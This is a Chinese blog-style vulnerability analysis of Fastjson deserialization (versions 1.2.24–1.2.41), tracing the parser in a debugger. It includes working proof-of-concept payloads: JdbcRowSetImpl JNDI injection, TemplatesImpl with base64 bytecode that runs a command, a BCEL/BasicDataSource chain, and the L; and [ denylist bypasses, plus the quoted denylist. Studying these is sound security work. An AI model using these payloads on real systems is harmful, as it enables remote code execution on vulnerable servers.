# 前言

Fastjson 漏洞从 17 年爆出来到现在 6 年的时间,早已经不是一个新鲜的东西,但是还是比较多的,网上各个师傅们的各种记录我也看的算是比较多了,这里也简单记录一下,跟踪一下各个利用链和原理,本篇中所涉及的代码都在 https://github.com/clown-q/Clown_java 中

# Fastjson

还是老规矩,首先来说明一下什么是 Fastjson,Fastjson 是一个阿里巴巴的一个 Java 库,根据阿里巴巴 fastjson 项目中的介绍,这个 java 库 “可用于将 Java 对象转换为其 JSON 表示形式。它还可用于将 JSON 字符串转换为等效的 Java 对象。Fastjson 可以使用任意 Java 对象, 包括您没有源代码的预先存在的对象 ”。

项目地址:阿里巴巴 / FASTJSON (github.com)

导入 maven 依赖,这里使用的是最开始官方主动爆出漏洞的版本

<!--fastjson-->
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.24</version>
        </dependency>

这样就可以开始使用 fastjson 了,常用的有两种处理 JSON 的方法

  • JSON.parseObject() 方法:将 JSON 字符串转换成对象。
  • JSON.toJSONString() 方法:可将对象转换成 JSON 字符串

下面通过一个简单的例子来展示一下两个 方法的使用

public class Test {
    private String name;
    private int age;
    public Test() {
//        必须有无参的构造方法,以便 JSON 库能够实例化对象
        System.out.println("构造方法");
    }
    public String getName() {
        System.out.println("getName");
        return name;
    }
    public int getAge() {
        System.out.println("getAge");
        return age;
    }
    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }
    public void setAge(int age) {
        System.out.println("setAge");
        this.age = age;
    }
    @Override
    public String toString() {
        return "Test{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

上面这段代码是测试类,然后下面是 JSON.parseObject () 方法的 demo

public class FastjsonTest {
    public static void main(String[] args) {
        String str = "{\"name\":\"aaa\",\"age\":18}";
        Test test = JSON.parseObject(str, Test.class);
        System.out.println(test.toString());
    }
}

image-20231008144339360

可以看到这里实际上是调用了两个 set 方法来将 JSON 字符串解析为 Java 对象,下面是 JSON.toJSONString 方法的 demo

public class FastjsonTest {
    public static void main(String[] args) {
//        String str = "{\"name\":\"aaa\",\"age\":18}";
//        Test test = JSON.parseObject(str, Test.class);
//        System.out.println(test.toString());
        Test test = new Test();
        String str = JSON.toJSONString(test);
        System.out.println(str);
    }
}

image-20231008144731153

这里可以看到实际上它调用了两个对应的 get 方法

# 漏洞产生根源

在 Fastjson 中,我们可以使用 @type 来指定一个类,像下面这种写法

{"@type":"Fastjson.Test"}

接着看下面这个例子

public class FastjsonTest {
    public static void main(String[] args) {
        String str = "{\"@type\":\"Fastjson.Test\",\"name\":\"aaa\",\"age\":18}";
        JSONObject jsonObject = JSON.parseObject(str);
        System.out.println(jsonObject.toString());
    }
}

这里指定的类还是上面使用过的 test 类

image-20231008152753188

在这个过程中,它将类的构造方法和 set,get 方法都调用了一遍,其实漏洞点就已经很明显了,如果在这个 JSON 接口传入恶意的 JSON,就可以调用任意类的构造方法已经相关的 set 和 get 方法。

# 调试分析

先扔张流程图

image-20231012142450624

这里简单调试一下,看一下 set、get 方法是怎么被调用的

image-20231008154106615

在这个位置下一个断点

image-20231008154148305

因为这里只传入了一个字符串,所以这里调用了一个参数类型为 String 的 parseObject 方法

image-20231008154252523 在当前类中,接收不同参数的同名方法其实很多,在当前方法中会首先调用一个 parse 方法解析,然后得到一个 Object,这里跟进看一下

image-20231008155217530

调用了本类的同名方法

image-20231008155253687

这里判断一下传入的字符串是否为空,如果为空直接返回 null,如果非空,会选用一个解析器,然后接着调用 parse 方法,我们跟进到这个 parse 方法

image-20231008155801921

这里可以看到走到了 DefaultJSONParser 的 parse 方法里,在该方法中使用了一个 switch 来做一个匹配

image-20231008160627944

传入的第一个字符是 {,这里会创建一个新的 JSONObject 对象,然后调用了一个 parseObject 方法

image-20231008160900653

这个方法中的代码很长,这里就不贴出来了,穿插着说一下整个方法的逻辑

image-20231008161141089

主要的代码就是这个 try 语句中的这个死循环

image-20231008161319978

这里第一个 if 实际上是为了在启用特定特性的情况下,允许 JSON 数据中存在额外的逗号,并在解析时跳过这些额外的逗号,以提高鲁棒性。

image-20231008161538883

这个 if 识别了一个双引号,然后获取到下一个双引号之间的值,就是获取 key 的值

image-20231008162253974

获取完值后会进行一个判断,这里可以看到 JSON.DEFAULT_TYPE_KEY 实际上就是 @type,这里也是我们需要关注的点

image-20231008162537044

这里会使用 loadclass 去加载这个类,这里跟进一下

image-20231008162627692

这里可以看到,首先他会从缓存里面去找,如果没找到会进行其他的处理

image-20231008162922009

然后可以看到,这里实际上就已经加载目标类到缓存中了

image-20231008163315050

最后这里先获取反序列化器,然后通过其来反序列化,这里跟进一下这里获取反序列化器的方法

image-20231008164017424

这里是通过缓存表去找,在 ParserConfig 的构造方法里会对应一下内置类的反序列化器

image-20231008164140650

因为这里是我们自己写的类,所以这里去缓存表里是查不到的

image-20231008164321166

这里就会调用到 getDeserializer 方法

image-20231008164446216

然后再这个方法中会各种匹配,这里说起来也比较麻烦,直接得到结论就是

image-20231008164625688

这里是创建了一个 Javabean 反序列化器,这里跟进该方法

image-20231008170507613

又是一段很长的代码逻辑,这里会首先判断是否启用了 asm 字节码生成和优化,然后判断是不是有自定义的序列化器等等一些判断,这些判断都不是我们关注的重点,我们直接看下面这个地方

image-20231008170957428

这是方法实际上是为了获取目标类的一些信息,这里就是比较重要的一块内容,我们跟进到这个方法中

image-20231008171349926

这里通过 getDeclaredFields 方法获取目标类的所有字段,通过 getMethods 获取所有的方法名,通过 getDefaultConstructor 获取默认的构造方法

image-20231008171809445

然后就是对默认构造方法的一些判断,这里不重要,接着往下看后面对于方法的一些判断

image-20231008172433387

可以看到这里有三个循环,遍历了两遍 method,先看第一遍

image-20231008171957755

很显然这里是为了找到所有的 set 方法,这里其实是为了获取字段,这里将这些判断条件简单的总结一下

  1. methodName.length() < 4 :跳过方法名长度小于 4 的方法,以排除非 setter 方法。
  2. Modifier.isStatic(method.getModifiers()) :跳过静态方法。
  3. !(method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass())) :跳过返回类型不是 void 或者返回类型与声明的类不同的方法。
  4. types.length != 1 :跳过参数个数不为 1 的方法。
  5. annotation.deserialize() == false :跳过标记了 JSONField 注解且 deserialize 属性为 false 的方法。
  6. methodName.startsWith("set") :只处理以 "set" 开头的方法,这是通常用于 setter 方法的命名规范。

image-20231008173517726

判断结束后创建一个 FieldInfo 对象,用于表示 JavaBean 类中的一个字段或属性,包括字段的名称、类型、特性等信息,并将该对象添加到 fieldList 列表中。这个列表可能会包含 JavaBean 类中所有要映射的字段信息,以备后续的 JSON 反序列化过程使用

image-20231008173712021

然后第二个 for 循环去遍历所有的 public 字段,这里用的是前面的 test 类,实际上是没有 public 字段的,这里也不是重点

image-20231008173841450

然后这里的第三个 for 循环,它的作用也很明显就是为了找到所有的 get,这里同样简单总结一下

  1. methodName.length() < 4 :跳过方法名长度小于 4 的方法,通常是为了排除不符合 getter 方法命名规范的方法。
  2. Modifier.isStatic(method.getModifiers()) :跳过静态方法,因为 getter 方法通常是实例方法。
  3. methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3)) :检查方法名是否以 "get" 开头且第四个字符是大写字母。这是通常用于 getter 方法的命名规范。
  4. method.getParameterTypes().length != 0 :跳过带有参数的方法,因为 getter 方法不应该有参数。
  5. 检查方法的返回类型是否匹配特定类型,如 CollectionMapAtomicBooleanAtomicIntegerAtomicLong ,以确定这个方法可能用于表示 JavaBean 类中的属性。
  6. 检查 fieldList 中是否已经存在同名的属性,以避免重复添加。

image-20231008174506641

最后调用够着函数,这里他的 fieldList 如下图

image-20231008174540642

到这里类的信息就获取完了

image-20231009140046809

这里获取完目标类的信息,赋值给 beanInfo,然后后面是一些判断,决定了 asmEnables 是否打开

image-20231009140643334

一系列的判断后,会根据这个 asmRnable 是否开启来判断一些操作,如果 asmEnale 是关闭的机会创建一个 JavaBeanDeserializer,这个是内置的一个 Deserializer

image-20231009140913093

否则,它会再一次调用 build 方法,然后用 asm 创建一个反序列化器,这里反序列化器算是有了

image-20231009142231366

但是当前这个例子的反序列化器没法调试,因为这里是一个临时创建的类

# 解决不能调试问题

所以这里很显然就不能用 asm 创建反序列化器,所以就要将 asmRnable 开关打开

image-20231009143148446

在前面 asmEnable 的开关判断中有这样一个判断,这里要有一个 getOnly 的方法,这里其实在前面方法遍历 add 的过程中也是有的

image-20231009143800744

这里可以看到,要满足参数值不为一的一个方法,所以这里肯定不能是 set 方法,所以就只能是 get 方法,这里改一下 Test 类

public class Test {
    private String name;
    private int age;
    private Map map;
    public Test() {
//        必须有无参的构造方法,以便 JSON 库能够实例化对象
        System.out.println("构造方法");
    }
    public String getName() {
        System.out.println("getName");
        return name;
    }
    public int getAge() {
        System.out.println("getAge");
        return age;
    }
    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }
    public void setAge(int age) {
        System.out.println("setAge");
        this.age = age;
    }
    public Map getMap() {
        System.out.println("getMap");
        return map;
    }
    @Override
    public String toString() {
        return "Test{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

这里重新调试

image-20231009150516227

一直到这里之前的调试实际上都是一样的,这里就不在赘述,当前是第二次循环遍历所有的方法,可以看到当前是 getMap

image-20231009161106016

这里走到这个 add 方法中,我们跟进 FieldInfo 看一下

image-20231009161214584

前面这些一些赋值,判断就不是很重要

image-20231009161708592

一直到这里,可以看到,定义了一个 getOnly 的字段后,然后就开始判断

image-20231009161826652

这里因为当前的方法是 getMap,没有参数,所以能进 else,然后回将 getOnly 赋值为 ture

image-20231009162348633

这里前面的循环结束就直接出来

image-20231009162425079

跳出到刚刚获取类信息的地方

image-20231009162529097

当遍历 fields 到 map 的时候,在上面我们已经知道,getMap 是有 getOnly 的,所以这里就会将 asmEnable 设置为 false

image-20231009162700192

因此,在这里选择的就是内置的反序列化器,就可以正常调试了

# 调整后的调试

经过前面漫长的调整后,到这里才算是能够正常调试整个过程了,这里来看一下到底是怎么调用的 set 和 get

image-20231009163701806

书接上回,这里使用一个内置的 JavaBeanDeserializer

image-20231009163800857

然后就跳出了这个创建反序列化器的方法(可算出来了)

image-20231009163915902

跳出获取反序列化器的方法,接下来通过这个反序列化器反序列化

image-20231009164029984

这里调用 JavaBeanDeserializer 的 deserialze 方法

image-20231009164105482

实际上是调用了一个 JavaBeanDeserializer 保护方法 deserialze 方法,又是一个很长很长的代码块,前面都是对各种特殊情况的检查

image-20231009165521474

这个 for 循环实际上是遍历所有 JSON 字段并将其映射到 Java 对象上

image-20231009170843791

看到这里,前面经过一系列判断,这里我们并不需要关注,这里有一个 createInstance 创建一个实例,我们跟进看一下

image-20231009171013786

这里会判断类如果是接口就会创建一个动态代理,如果不是接口就会尝试 newInstance

image-20231009171201002

这里看到就会执行这个构造函数

image-20231009181232448

这里跳出来后,接下来就是赋值,这里跟进 setValue 方法

image-20231009171531896

然后就又是各种 if 判断,这里都不用关注

image-20231009171623203

这里可以看到,age 原本的值是 0,然后要赋的值是 18

image-20231009171707963

image-20231009171720593

invoke 后就成功调用了 setAge 方法

image-20231010121006054

这里中间的过程就不在这里记录了,这里是又一次调用了 setValue 方法来设置 name 的值

image-20231010121115221

这里就调用了 setName 方法,到目前为止,所有的 set 方法就都被触触发了

image-20231010134035107

这里跳回到 parseObject 方法中,前面将 JSON 转为对象,最后有调用了一个 toJSON 将对象转为 JSON,get 方法就是这这里被调用的,这里跟进一下

image-20231010134452164

这里还是一些判断,我们往下看

image-20231010142302041

这里要获取字段值映射我们跟进这个方法

image-20231010142437082

然后这里要获取属性值,跟进这个 getPropertyValue 方法

image-20231010142627743

就在这个 get 方法里进行了 invoke

image-20231010142745028

到这样算是真正的调试完了,其实漏洞的根源到这里就很明显了,它会自动调用构造方法,set,get 方法

# demo

这里简单写一个演示

public class demo {
    private String cmd;
    public void setCmd(String cmd) throws IOException {
        this.cmd = cmd;
        Runtime.getRuntime().exec(this.cmd);
    }
}

上面写了一个恶意的 set

public class FastjsonTest {
    public static void main(String[] args) {
        String str = "{\"@type\":\"Fastjson.demo\",\"cmd\":\"calc\"}}";
        JSONObject jsonObject = JSON.parseObject(str);
        System.out.println(jsonObject.toString());
    }
}

image-20231010144650658

# fastjson<=1.2.46 版本复现

# Fastjson<=1.2.24

# JdbcRowSetImpl

在这个类中有这样一个点

image-20231010161345781

如果这里的 getDataSourceName () 可控的话,那么这里将是一个很标准的 JNDI 注入

image-20231010161537110

这里有对应的 get,set 方法,所以这里参数是可控的,利用点就是这里了,接下来找 connet 的调用

image-20231010164628369

这里也只有三个,这里选用 set 这个方法

image-20231010164714788

这里经过一个判断就直接调用了这个方法,看下面这个例子

public class poc24JdbcRowSectimpl {
    public static void main(String[] args) {
        String str = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:1234/T\",\"AutoCommit\":false}";
        JSON.parseObject(str);
    }
}

这里的 ldap 是前面 JNDI 注入篇中使用到的 JNDI 注入 - java 安全 | Clown の Blog = (xcu.icu)

image-20231010175221457

也或者可以使用 yakit

image-20231010180017827

# 调试

image-20231012143753742

这里就不在从前面 get,set 的调用调试了(上面已经写的很详细的了),直接看后面有关 JdbcRowSetlmapl 的调用

image-20231012135151807

这里将断点下在 setAutoCommit 这里

image-20231012135355555

然后这里就会调用这个 connect 方法

image-20231012140139633

在这个方法中就会走到 JNDI 注入的地方

image-20231012140308677

这里展示一下完整的调用链

# TemplatesImpl

上面的利用很显然是需要出网的情况,这里介绍一种不需要出网的利用方式,这里也不在写一堆废话来引出这个入口,实际上就是在 com.sun.org.apache.xalan.internal.xsltc.trax 类中的 getTransletInstance 方法中

image-20231011181254063

这里有一个 newInstance 方法可以实实例化对象,这里看一下 _class [_transletIndex] 是不是可控的

image-20231011181948972

这里可以看到其实在当前类的 defineTransletClasses 方法中,这里可以看到,这里的_transletIndex 是可以根据_bytecodes 改变的

image-20231011182146842

而在本类下,还有对应的 set 和 get 方法,很显然是可控的,这里我们就需要看一下 defineTransletClasses 方法

image-20231011182426758

首先这里会判断_bytecodes 是否为空,这里可控,所以这里我们可以传入一个恶意的类

image-20231011182529594

_bytecodes 不为空,运行到这里,此时,需要满足_tfactory 变量不为 null,否则导致程序异常退出。

image-20231011182735816

这个成员属性没有对应的 set 和 get 方法,这里需要指定 Feature.SupportNonPublicField 参数来为_tfactory 赋值

image-20231011182940756

把_bytecodes 数组中的值循环取出,使用 loader.defineClass 方法从字节码转化为 Class 对象,随后后赋值给_class [i],如果循环到 main class,就会将_transletIndex 变量值赋值为_bytecodes 数组中的下标值

image-20231011183255470

在回到这个入口类,当前想要执行到 newInstance 方法,只需要_name 不为 null 即可

image-20231011183402004

它有对应的 set 方法,到这里条件就都满足了,然后望上找谁调用了 getTransletInstance 方法

image-20231011190203162

这里实际上就找到一个 newTransformer 中调用了这方法,继续望上找谁调用了这个方法

image-20231011190251446

这里找到,还是在本类中的 getOutputProperties () 方法中调用了 newTransformer () 方法,getOutputProperties () 方法为_outputProperties 成员变量的 getter 方法,调用条件到这里就完全满足了

public class T extends AbstractTranslet {
    static  {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
        
    }
}

就一个这样的类,将其编译后将字节码读出并用 base64 加密,作为_bytecodes

public class poc24TemplatesImpl {
    public static void main(String[] args) throws Exception{
        String str = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQANgoACQAlCgAmACcIACgKACYAKQcAKgcAKwoABgAsBwAtBwAuAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANMVDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcALwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQcAKgEAClNvdXJjZUZpbGUBAAZULmphdmEMAAoACwcAMAwAMQAyAQAEY2FsYwwAMwA0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAKADUBAAFUAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAPAA4AAAAMAAEAAAAFAA8AEAAAAAEAEQASAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAAbAA4AAAAgAAMAAAABAA8AEAAAAAAAAQATABQAAQAAAAEAFQAWAAIAFwAAAAQAAQAYAAEAEQAZAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAAgAA4AAAAqAAQAAAABAA8AEAAAAAAAAQATABQAAQAAAAEAGgAbAAIAAAABABwAHQADABcAAAAEAAEAGAAIAB4ACwABAAwAAABmAAMAAQAAABe4AAISA7YABFenAA1LuwAGWSq3AAe/sQABAAAACQAMAAUAAwANAAAAFgAFAAAAEgAJABUADAATAA0AFAAWABYADgAAAAwAAQANAAkAHwAgAAAAIQAAAAcAAkwHACIJAAEAIwAAAAIAJA==\"],'_name':'exp','_tfactory':{ },\"_outputProperties\":{ }}";
        JSON.parse(str, Feature.SupportNonPublicField);
    }
}

image-20231011192659155

# 调试

image-20231012144844588

还是先放一张流程图

image-20231012140810836

这里我将断点下在 TemplatesImpl 类的 getOutputProperties 方法这里,这个方法就是我们前面找到的那个_outputProperties 成员变量的 getter 方法,跟进到 newTransformer 方法

image-20231012144011808

这里 defineTransletClasses 上面已经解释过,这里就不在看了

image-20231012144436526

这里运行后计算器就直接弹出来了

image-20231012144514152

这里放一下整个调用链

# Bcel

上面这个链虽然说不出网,但是它的利用条件非常苛刻,下面再记录一种稍微常用的一种不出网的利用方式,先看下面这个例子

public class poc24Bcel {
    public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {
        String classFilePath = "E:\\Python\\B.class"; // 替换为你的类文件路径
        // 1. 读取类文件的字节码
        FileInputStream fis = new FileInputStream(classFilePath);
        BufferedInputStream bis = new BufferedInputStream(fis);
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        int bytesRead;
        byte[] buffer = new byte[4096];
        while ((bytesRead = bis.read(buffer)) != -1) {
            bos.write(buffer, 0, bytesRead);
        }
        bis.close();
        // 2. 获取字节码的字节数组
        byte[] bytecode = bos.toByteArray();
        ClassLoader classLoader = new ClassLoader();// 实例化 Classloader
        String code = Utility.encode(bytecode,true);
        classLoader.loadClass("$$BCEL$$"+code).newInstance();
    }
}

image-20231011195355333

上面这个例子中,前面的实际上就是获取一个字节码的过程,真正调用的其实是,下面这三行的内容

ClassLoader classLoader = new ClassLoader();// 实例化 Classloader
        String code = Utility.encode(bytecode,true);
        classLoader.loadClass("$$BCEL$$"+code).newInstance();

这里最后调用的 loadClass 实际上是 com.sun.org.apache.bcel.internal.util.ClassLoader 里的

image-20231012150800490

最后通过这里加载字节码,想要调用到这里,需要 class 文件不为空

image-20231012151018982

Class 是在这里赋值,这里加载的字节码前面需要是 $$BCEL$$,然后调用这个 createClass 方法

image-20231012151130968

这里会有这个 decode 方法,这就全都和上面的吻合上了,现在需要做的就是找一个 get 或者 set 调用到这个 com.sun.org.apache.bcel.internal.util.ClassLoader 里的 Classloader 方法

实际上是找到在 BasicDataSource 这个类中

<dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat</artifactId>
            <version>9.0.20</version>
        </dependency>

这里需要导入一个新的包

image-20231012153542883

就在这里,它可以通过一个 ClassLoader 去加载一个 ClassName,

image-20231012153705737

image-20231012153725928

可以看到 driverClassName 和 driverClassLoader 都有对应的 set 方法,可以通过 Fastjson 特性来控制两个参数,接下来就需要寻找调用到这个 createConnectionFactory 方法的 set 或者 get 方法,也很容易找到,就走了两步

image-20231012154503658

image-20231012154531896

这里是 get 方法会自行调用

public class poc24Bcel {
    public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {
        String classFilePath = "E:\\Python\\B.class"; // 替换为你的类文件路径
        // 1. 读取类文件的字节码
        FileInputStream fis = new FileInputStream(classFilePath);
        BufferedInputStream bis = new BufferedInputStream(fis);
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        int bytesRead;
        byte[] buffer = new byte[4096];
        while ((bytesRead = bis.read(buffer)) != -1) {
            bos.write(buffer, 0, bytesRead);
        }
        bis.close();
        // 2. 获取字节码的字节数组
        byte[] bytecode = bos.toByteArray();
//        ClassLoader classLoader = new ClassLoader ();// 实例化 Classloader
        String code = Utility.encode(bytecode,true);
//        classLoader.loadClass("$$BCEL$$"+code).newInstance();
        String str = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"$$BCEL$$"+code+"\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";
        JSON.parseObject(str);
    }
}

image-20231012155940447

到这里就可以了

# 调试

image-20231012161840486

还是一张流程图

image-20231012160621272

这里我直接将断点下在这里,跟进 createDataSource 方法

image-20231012160710752

然后接着跟进到 createConnectionFactory 方法

image-20231012160812931

接着这里看一下 forname 方法

image-20231012160908670

运行到这里 driverClassName 和 driverClassLoader 的值就已经被改变了

image-20231012161104810

跟进 forName 方法,发现这里调用到 loadClass 方法

image-20231012161145946

这里会经过一系列的判断,在前面已经分析过,最后会走到

image-20231012161256048

调用 defineClass 去加载字节码

image-20231012161323354

这里放一张调用链,分析到这里,实际上这种方法是需要有相关的对应依赖才能使用的

# 修复

从 1.2.25 开始对这个漏洞进行了修复

<dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
<!--            <version>1.2.24</version>-->
            <version>1.2.25</version>
        </dependency>

这里我将 fastjson 版本改为 1.2.25 再次尝试之前的 poc

image-20231012164039261

这里可以看到这里报错,不支持自动键入,简单调试一下

# 调试

image-20231012164912949

还是在这里下断点

image-20231012164937133

跟进到这个 parse 方法

image-20231012165002731

这里也是一样,跟进到这个 parser.parse

image-20231012165030381

第一个字符判断

image-20231012165055906

这里因为是 {所以到这里,接着还是和前面一样,进到 parseObject 方法

image-20231012165148832

第一个引号包裹的是 @type,这里看到多了一个 checkAutoType 方法,根据前面的报错,很显然就是这里的问题,这里进到 checkAutoType 方法

image-20231012165708387

这里可以看到刚刚的报错信息,这里做了一个黑名单校验,这个 denyList 中的内容

bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework

这些类都在黑名单中

image-20231013111524290

在上面还有一个白名单,但是这个白名单是从配置文件中加载的,到这里都是 autoType 开启的状态

image-20231013112759939

如果 autoType 没有开启,会先判断黑名单如果指定类不在黑名单中在做白名单的校验

值得一提的是,后面版本的修复基本都是在对 checkAutotype 方法逻辑漏洞的修复以及黑名单的变化

# 1.2.25<= Fastjson <= 1.2.41 Bypass

# JNI 字段描述符

这里绕过的写法实际上是利用了一种叫做 JNI 字段描述符的东西,它是用于表示 Java 字段类型的标识符,主要用于与本地代码进行交互,其实我在虐心短片之内存管理 - JavaJVM | Clown の Blog = (xcu.icu) 这篇笔记中有简单提到过 JNI,这里简单记录一下 JNI 字段描述符

Java 类型JNI 字段描述符
booleanZ
byteB
charC
shortS
intI
longJ
floatF
doubleD
voidV
引用类型L 开始,以 ; 结尾:表示引用类型,其中包括类、接口或数组类型。例如, Ljava/lang/String; 表示一个 String 类型的引用。如果是内部类,添加 $ 符号分隔,例如:Landroid/os/FileUtils$FileStatus;。
数组[ :表示数组类型。可以与其他描述符结合使用,以表示数组类型的元素类型。例如, [I 表示一个 int 类型的数组。
方法使用 () 表示,参数在圆括号里,返回类型在圆括号右侧,例如:(II) Z,表示 boolean func (int i,int j)。
# L;

这种绕过的原理也是很简单,有点像是 php 文件上传漏洞中黑名单过滤了 php 但是我使用 php5 绕过这种

public class poc25to41JNI {
    public static void main(String[] args) {
        String str = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"DataSourceName\":\"ldap://127.0.0.1:8087/T\",\"AutoCommit\":false}";
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        JSON.parseObject(str);
    }
}

image-20231013173642089

很显然我这里做了两点改变,首先是在 com.sun.rowset.JdbcRowSetImpl 前后分别加上的 L ;,然后又通过 ParserConfig.getGlobalInstance ().setAutoTypeSupport (true); 设置了 AutoTypeSupport 为 ture

# 调试

这里还是来调试看一下,它是怎么绕过,又是怎么处理这个 [和;这两个符号的

image-20231013185103399

还是将断点下在这里

image-20231013180840441

这里一路调试到 checkAutoType(前面的流程是没有变化的,这里不在重复记录)

image-20231013181000229

这里我觉得值得注意的也就这三个地方,AutoTypeSupport 是开启的状态,黑名单,以及传入的参数(我们要记在的目标类),首先它判断传入的参数是否为空,这里显然不是,就直接跳过

image-20231013181207912

接着这里进行一个替换,将 typeName 中的 $ 替换为 . ,这里是对调用内部类的情况进行一个处理

image-20231013181410828

满足条件 AutoTypeSupport 是开启的状态进入到循环,然后白名单的校验,这里白名单是空的,所以本方法的第一个类加载显然是调用不到

image-20231013181759176

然后是黑名单的校验,这里使用 startsWith 来检查字符串的开头部分,所以这里是不会被黑名单检测出来

image-20231013182008417

这里分别到缓存和 deserializers 中去加载,很显然也是加载不到的

image-20231013182103866

因为类到目前为止都没有加载到而且前面也说到 AutoTypeSupport 是开启的状态,所以这里两个 if 语句都是进不去的

image-20231013182300184

终于在这个方法的最后一处加载的机会这里成功调用了 loadClass 方法,跟进到这个方法

image-20231013182445211

首先尝试在映射中寻找目标类,这里首字符是 L 所以会进入到我打断点的这个 if 语句中,可以看到这里做了一次截取将第一个和最后一个字符去掉,然后调用了一个 loadClass

image-20231013184331962

这里可以看到,已经被正常加载了后面的流程就和前面类加载之后的部分一样了,这里也不在赘述

# [

image-20231013182445211

在上面的调试中,当调试到这里,我发现当第一个字符是 [的时候似乎也有一些处理,这里先通过截取去掉了’[‘,然后调用了 loadClass,然后使用 componentType 创建一个长度为 0 的数组,并获取该数组的 Class 对象。

public class poc25to41JNI {
    public static void main(String[] args) {
//        String str = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"DataSourceName\":\"ldap://127.0.0.1:8087/T\",\"AutoCommit\":false}";
        String str = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8087/T\",\"AutoCommit\":false}";
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        JSON.parseObject(str);
    }
}

这里先使用这个 [尝试一下

image-20231013192417130

# 调试寻找报错原因

image-20231013192550029

这里调试到这个地方,可以看到进入到这个对于 [的判断

image-20231013192630536

这里类加载后是出去 [后的,跟进 newInstance 方法

image-20231013192753953

创建一个长度为 0 的数组就 return 了

image-20231013193511331

调出来后看到这里 clazz 现在是 [com.sun.rowset.jdbcRowSetImpl

image-20231013193824693

这里直接跳出这个方法,其他没有值得要关注的地方

image-20231013193846920

一直走到这个方法,跟进

image-20231013194214626

